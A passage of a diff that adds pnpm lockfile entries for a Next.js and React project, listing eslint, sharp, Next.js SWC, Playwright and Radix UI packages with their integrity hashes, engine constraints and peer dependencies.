sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + peerDependencies: + eslint: ^6.0.0 || ^7.0.0 || >=8.0.0 + + '@eslint-community/regexpp@4.12.2': + resolution: {integrity: sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==} + engines: {node: ^12.0.0 || ^14.0.0 || >=16.0.0} + + '@eslint/config-array@0.21.2': + resolution: {integrity: sha512-nJl2KGTlrf9GjLimgIru+V/mzgSK0ABCDQRvxw5BjURL7WfH5uoWmizbH7QB6MmnMBd8cIC9uceWnezL1VZWWw==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@eslint/config-helpers@0.4.2': + resolution: {integrity: sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@eslint/core@0.17.0': + resolution: {integrity: sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@eslint/eslintrc@3.3.5': + resolution: {integrity: sha512-4IlJx0X0qftVsN5E+/vGujTRIFtwuLbNsVUe7TO6zYPDR1O6nFwvwhIKEKSrl6dZchmYBITazxKoUYOjdtjlRg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@eslint/js@9.39.4': + resolution: {integrity: sha512-nE7DEIchvtiFTwBw4Lfbu59PG+kCofhjsKaCWzxTpt4lfRjRMqG6uMBzKXuEcyXhOHoUp9riAm7/aWYGhXZ9cw==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@eslint/object-schema@2.1.7': + resolution: {integrity: sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@eslint/plugin-kit@0.4.1': + resolution: {integrity: sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@floating-ui/core@1.7.2': + resolution: {integrity: sha512-wNB5ooIKHQc+Kui96jE/n69rHFWAVoxn5CAzL1Xdd8FG03cgY3MLO+GF9U3W737fYDSgPWA6MReKhBQBop6Pcw==} + + '@floating-ui/dom@1.7.2': + resolution: {integrity: sha512-7cfaOQuCS27HD7DX+6ib2OrnW+b4ZBwDNnCcT0uTyidcmyWb03FnQqJybDBoCnpdxwBSfA94UAYlRCt7mV+TbA==} + + '@floating-ui/react-dom@2.1.4': + resolution: {integrity: sha512-JbbpPhp38UmXDDAu60RJmbeme37Jbgsm7NrHGgzYYFKmblzRUh6Pa641dII6LsjwF4XlScDrde2UAzDo/b9KPw==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + + '@floating-ui/utils@0.2.10': + resolution: {integrity: sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ==} + + '@humanfs/core@0.19.2': + resolution: {integrity: sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==} + engines: {node: '>=18.18.0'} + + '@humanfs/node@0.16.8': + resolution: {integrity: sha512-gE1eQNZ3R++kTzFUpdGlpmy8kDZD/MLyHqDwqjkVQI0JMdI1D51sy1H958PNXYkM2rAac7e5/CnIKZrHtPh3BQ==} + engines: {node: '>=18.18.0'} + + '@humanfs/types@0.15.0': + resolution: {integrity: sha512-ZZ1w0aoQkwuUuC7Yf+7sdeaNfqQiiLcSRbfI08oAxqLtpXQr9AIVX7Ay7HLDuiLYAaFPu8oBYNq/QIi9URHJ3Q==} + engines: {node: '>=18.18.0'} + + '@humanwhocodes/module-importer@1.0.1': + resolution: {integrity: sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==} + engines: {node: '>=12.22'} + + '@humanwhocodes/retry@0.4.3': + resolution: {integrity: sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==} + engines: {node: '>=18.18'} + + '@img/colour@1.1.0': + resolution: {integrity: sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==} + engines: {node: '>=18'} + + '@img/sharp-darwin-arm64@0.34.5': + resolution: {integrity: sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [darwin] + + '@img/sharp-darwin-x64@0.34.5': + resolution: {integrity: sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [darwin] + + '@img/sharp-libvips-darwin-arm64@1.2.4': + resolution: {integrity: sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==} + cpu: [arm64] + os: [darwin] + + '@img/sharp-libvips-darwin-x64@1.2.4': + resolution: {integrity: sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==} + cpu: [x64] + os: [darwin] + + '@img/sharp-libvips-linux-arm64@1.2.4': + resolution: {integrity: sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==} + cpu: [arm64] + os: [linux] + + '@img/sharp-libvips-linux-arm@1.2.4': + resolution: {integrity: sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==} + cpu: [arm] + os: [linux] + + '@img/sharp-libvips-linux-ppc64@1.2.4': + resolution: {integrity: sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==} + cpu: [ppc64] + os: [linux] + + '@img/sharp-libvips-linux-riscv64@1.2.4': + resolution: {integrity: sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==} + cpu: [riscv64] + os: [linux] + + '@img/sharp-libvips-linux-s390x@1.2.4': + resolution: {integrity: sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==} + cpu: [s390x] + os: [linux] + + '@img/sharp-libvips-linux-x64@1.2.4': + resolution: {integrity: sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==} + cpu: [x64] + os: [linux] + + '@img/sharp-libvips-linuxmusl-arm64@1.2.4': + resolution: {integrity: sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==} + cpu: [arm64] + os: [linux] + + '@img/sharp-libvips-linuxmusl-x64@1.2.4': + resolution: {integrity: sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==} + cpu: [x64] + os: [linux] + + '@img/sharp-linux-arm64@0.34.5': + resolution: {integrity: sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [linux] + + '@img/sharp-linux-arm@0.34.5': + resolution: {integrity: sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm] + os: [linux] + + '@img/sharp-linux-ppc64@0.34.5': + resolution: {integrity: sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [ppc64] + os: [linux] + + '@img/sharp-linux-riscv64@0.34.5': + resolution: {integrity: sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [riscv64] + os: [linux] + + '@img/sharp-linux-s390x@0.34.5': + resolution: {integrity: sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [s390x] + os: [linux] + + '@img/sharp-linux-x64@0.34.5': + resolution: {integrity: sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [linux] + + '@img/sharp-linuxmusl-arm64@0.34.5': + resolution: {integrity: sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [linux] + + '@img/sharp-linuxmusl-x64@0.34.5': + resolution: {integrity: sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [linux] + + '@img/sharp-wasm32@0.34.5': + resolution: {integrity: sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [wasm32] + + '@img/sharp-win32-arm64@0.34.5': + resolution: {integrity: sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [win32] + + '@img/sharp-win32-ia32@0.34.5': + resolution: {integrity: sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [ia32] + os: [win32] + + '@img/sharp-win32-x64@0.34.5': + resolution: {integrity: sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [win32] + + '@jridgewell/gen-mapping@0.3.13': + resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==} + + '@jridgewell/resolve-uri@3.1.2': + resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} + engines: {node: '>=6.0.0'} + + '@jridgewell/sourcemap-codec@1.5.5': + resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} + + '@jridgewell/trace-mapping@0.3.31': + resolution: {integrity: sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==} + + '@napi-rs/wasm-runtime@0.2.12': + resolution: {integrity: sha512-ZVWUcfwY4E/yPitQJl481FjFo3K22D6qF0DuFH6Y/nbnE11GY5uguDxZMGXPQ8WQ0128MXQD7TnfHyK4oWoIJQ==} + + '@next/env@15.5.18': + resolution: {integrity: sha512-hAV85Ckd9QR6RvH04MEKwsfLTksvFpO47j9xwtoIuvuPnlwecpSi+uZTtm8HirVbtlI2Fnz//xpcSTjFdyJk+g==} + + '@next/eslint-plugin-next@15.5.18': + resolution: {integrity: sha512-w4MYq8M26a8PNrfto0JosLf5/3ssln1rsyP96g2DkC8uFVymStM5DLSz5ElxxrPRg2XnTMnFo3kREFlhYvxhWw==} + + '@next/swc-darwin-arm64@15.5.18': + resolution: {integrity: sha512-w0WvQf1n+txiwns/9pwIQteCJpZTbxzO2SE0FLcwuD4v0WEh1JPOjdyxWL21XwJsdpx8cFRjyzxzCS/siP7HcQ==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [darwin] + + '@next/swc-darwin-x64@15.5.18': + resolution: {integrity: sha512-znn71QmDuxm+BOaglihMZfvyySMnNljkVIY5Z2TCssBmm+WqL6c19VhtH5ktFkHa8EZ2bnTUpcNcmNSQsg67og==} + engines: {node: '>= 10'} + cpu: [x64] + os: [darwin] + + '@next/swc-linux-arm64-gnu@15.5.18': + resolution: {integrity: sha512-yPPe5MNL+igZUa+OsqQJisqSfh6oarIuA1Q0BDxljGJhRQyZeP+WRHh7rs/jZUGMh5aY0YdIjXZG0VohkKkUdw==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [linux] + + '@next/swc-linux-arm64-musl@15.5.18': + resolution: {integrity: sha512-glaCczEWIrHsokFZ3pP08U4BpKxwIdnT+txdOM32OBgpL9Yw4aqx8NejmgtZQZOdstQ5f0L3CasIZudzCuD+nw==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [linux] + + '@next/swc-linux-x64-gnu@15.5.18': + resolution: {integrity: sha512-oUfg2EgJmU3R0OCOWiokGFUTvZiPfXtriXiuF3YNxRoROCdgvTedHIzYoeKH34gsZxS/V7mHbfq2hpAHwhH1/A==} + engines: {node: '>= 10'} + cpu: [x64] + os: [linux] + + '@next/swc-linux-x64-musl@15.5.18': + resolution: {integrity: sha512-JLxSP3KTd9iu/bvUMQxH7RJo9xKSHf55/6RPE4a6FTSZygGn7uvZbCej0AHXydwkggQGSD9UddSjwv6Xz5ESfA==} + engines: {node: '>= 10'} + cpu: [x64] + os: [linux] + + '@next/swc-win32-arm64-msvc@15.5.18': + resolution: {integrity: sha512-ir1v7enP52K2HNz3tQQvwF+x7VNxBk1ciiZ18WBPvxf4C59IqdfmHPJYK3vH7rSxpuCVw/8C712wTXNAtEp+NA==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [win32] + + '@next/swc-win32-x64-msvc@15.5.18': + resolution: {integrity: sha512-LIu5me6QTANCd25E7I5uIEfvgQ06RK7tvHAbYo3zCb3VpxQEPvMcSpd87NwUABDT6MbGPdEGR5VRiK4PPTJhQg==} + engines: {node: '>= 10'} + cpu: [x64] + os: [win32] + + '@nodelib/fs.scandir@2.1.5': + resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} + engines: {node: '>= 8'} + + '@nodelib/fs.stat@2.0.5': + resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} + engines: {node: '>= 8'} + + '@nodelib/fs.walk@1.2.8': + resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} + engines: {node: '>= 8'} + + '@nolyfill/is-core-module@1.0.39': + resolution: {integrity: sha512-nn5ozdjYQpUCZlWGuxcJY/KpxkWQs4DcbMCmKojjyrYDEAGy4Ce19NN4v5MduafTwJlbKc99UA8YhSVqq9yPZA==} + engines: {node: '>=12.4.0'} + + '@playwright/test@1.60.0': + resolution: {integrity: sha512-O71yZIbAh/PxDMNGns37GHBIfrVkEVyn+AXyIa5dOTfb4/xNvRWV+Vv/NMbNCtODB/pO7vLlF2OTmMVLhmr7Ag==} + engines: {node: '>=18'} + hasBin: true + + '@radix-ui/primitive@1.1.3': + resolution: {integrity: sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==} + + '@radix-ui/react-arrow@1.1.7': + resolution: {integrity: sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-collection@1.1.7': + resolution: {integrity: sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-compose-refs@1.1.2': + resolution: {integrity: sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-context@1.1.2': + resolution: {integrity: sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-dialog@1.1.15': + resolution: {integrity: sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-dismissable-layer@1.1.11': + resolution: {integrity: sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-focus-guards@1.1.3': + resolution: {integrity: sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-focus-scope@1.1.7': + resolution: {integrity: sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-id@1.1.1': + resolution: {integrity: sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-popper@1.2.8': + resolution: {integrity: sha512-0NJQ4LFFUuWkE7Oxf0htBKS6zLkkjBH+hM1uk7Ng705ReR8m/uelduy1DBo0PyBXPKVnBA6YBlU94MBGXrSBCw==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-portal@1.1.9': + resolution: {integrity: sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-presence@1.1.5': + resolution: {integrity: sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-primitive@2.1.3': + resolution: {integrity: sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-primitive@2.1.4': + resolution: {integrity: sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-separator@1.1.8': + resolution: {integrity: sha512-sDvqVY4itsKwwSMEe0jtKgfTh+72Sy3gPmQpjqcQneqQ4PFmr/1I0YA+2/puilhggCe2gJcx5EBAYFkWkdpa5g==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-slot@1.2.3': + resolution: {integrity: sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-slot@1.2.4': + resolution: {integrity: sha512-Jl+bCv8HxKnlTLVrcDE8zTMJ09R9/ukw4qBs/oZClOfoQk/cOTbDn+NceXfV7j09YPVQUryJPHurafcSg6EVKA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-switch@1.2.6': + resolution: {integrity: sha512-bByzr1+ep1zk4VubeEVViV592vu2lHE2BZY5OnzehZqOOgogN80+mNtCqPkhn2gklJqOpxWgPoYTSnhBCqpOXQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-toast@1.2.15': + resolution: {integrity: sha512-3OSz3TacUWy4WtOXV38DggwxoqJK4+eDkNMl5Z/MJZaoUPaP4/9lf81xXMe1I2ReTAptverZUpbPY4wWwWyL5g==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-tooltip@1.2.8': + resolution: {integrity: sha512-tY7sVt1yL9ozIxvmbtN5qtmH2krXcBCfjEiCgKGLqunJHvgvZG2Pcl2oQ3kbcZARb1BGEHdkLzcYGO8ynVlieg==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-use-callback-ref@1.1.1': + resolution: {integrity: sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-controllable-state@1.2.2': + resolution: {integrity: sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-effect-event@0.0.2': + resolution: {integrity: sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + 